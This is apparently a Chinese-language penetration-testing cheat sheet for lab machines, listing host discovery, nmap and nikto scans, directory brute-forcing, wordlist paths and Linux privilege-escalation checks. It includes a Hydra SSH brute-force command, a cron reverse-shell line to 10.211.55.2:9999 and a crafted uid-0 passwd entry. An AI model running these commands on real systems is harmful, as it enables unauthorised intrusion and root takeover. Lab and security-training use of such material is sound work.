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常用命令

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C0rr3ct
C0rr3ct
Right?

主机发现​

arp-scan​

arp-scan -l

netdiscover​

指定网段扫描

netdiscover -r 192.168.56.0/24

指定网卡扫描

netdiscover -i eth0 -r 192.168.56.0/24

枚举​

nmap scan​

扫描全端口

nmap -sT --min-rate=10000 -p- 192.168.56.1 -oN nmap_result/port
sudo nmap -sU --min-rate 10000 -p- 192.168.56.1 -oN nmap_result/udp

剪切开放端口

nmap -p- --min-rate=10000 -T4 192.168.56.1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//
cat nmap_result/port | grep 'open' | awk -F'/' '{print $1}'| tr "\n" ','

详细扫描

sudo nmap -sT -sV -sC -O -p port -oN nmap_result/details 192.168.56.1

漏洞扫描

nmap --script=vuln 192.168.56.1 -p port -oN nmap_result/vuln

web​

nikto -h http://192.168.56.1

TCP的全端口扫描​

nmap -sT --min-rate 10000 -p- 192.168.56.122

详细扫描端口​

nmap -sT -sV -sC -O -p21,22,80 192.168.56.122

FTP匿名登录​

ftp 192.168.56.122
anonymous

SSH登录​

爆破

hydra -l renu -P /usr/share/seclists/Passwords/2023-200_most_used_passwords.txt ssh://192.168.56.120
ssh w1r3s@192.168.56.127 -i id_rsa

POP3登录​

登录

USER your_username
PASS your_password
查看邮件数量
STAT

获取邮件列表
LIST

查看特定邮件（例如，查看第一封邮件）
RETR 1

删除特定邮件（例如，删除第一封邮件）
DELE 1
$ telnet pop.example.com 110
+OK POP3 server ready
USER your_username
+OK User name accepted
PASS your_password
+OK Password accepted
STAT
+OK 3 2048
LIST
+OK 3 messages:
1 1024
2 1024
3 512
RETR 1
+OK 1024 octets
[邮件内容]
.
QUIT
+OK Goodbye

目录扫描​

gobuster​

gobuster dir -u http://192.168.56.122/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html

dirsearch​

dirsearch -u http://192.168.56.101 -w zidian.txt -e php

dirb​

dirb http://192.168.56.100 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
dirb http://192.168.56.1 -X .txt,.html,.tar,.zip,.php

feroxbuster​

feroxbuster --scan-limit 2 -t 1 --filter-status 404 -u http://192.168.56.108

字典​

kali linux中自带的一些字典

/usr/share/wordlists/dirbuster/directory-list-2.3-*.txt
/usr/share/wordlists/dirbuster/directory-list-1.0.txt
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirb/small.txt
/usr/share/wordlists/dirb/extensions_common.txt

还有secLists的字典

apt install secLists
/usr/share/seclists/

提权​

寻找特殊程序能力​

getcap -r / 2>/dev/null

find查找suid权限的文件​

find / -type f -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

sudo​

*/1 * * * *  /bin/sh -i >& /dev/tcp/10.211.55.2/9999 0>&1

定时任务​

cat /etc/crontab
ls /var/spool/cron/crontabs/

内核​

uname -a
lsb_release -a

可写文件​

find / -writable 2>/dev/null

生成passwd密码

openssl passwd -1 -salt somesalt 123456 > hash.txt
corr:$1$somesalt$uGkN1R3BfqJr15hKXW5jt.:0:0::/root:/bin/bash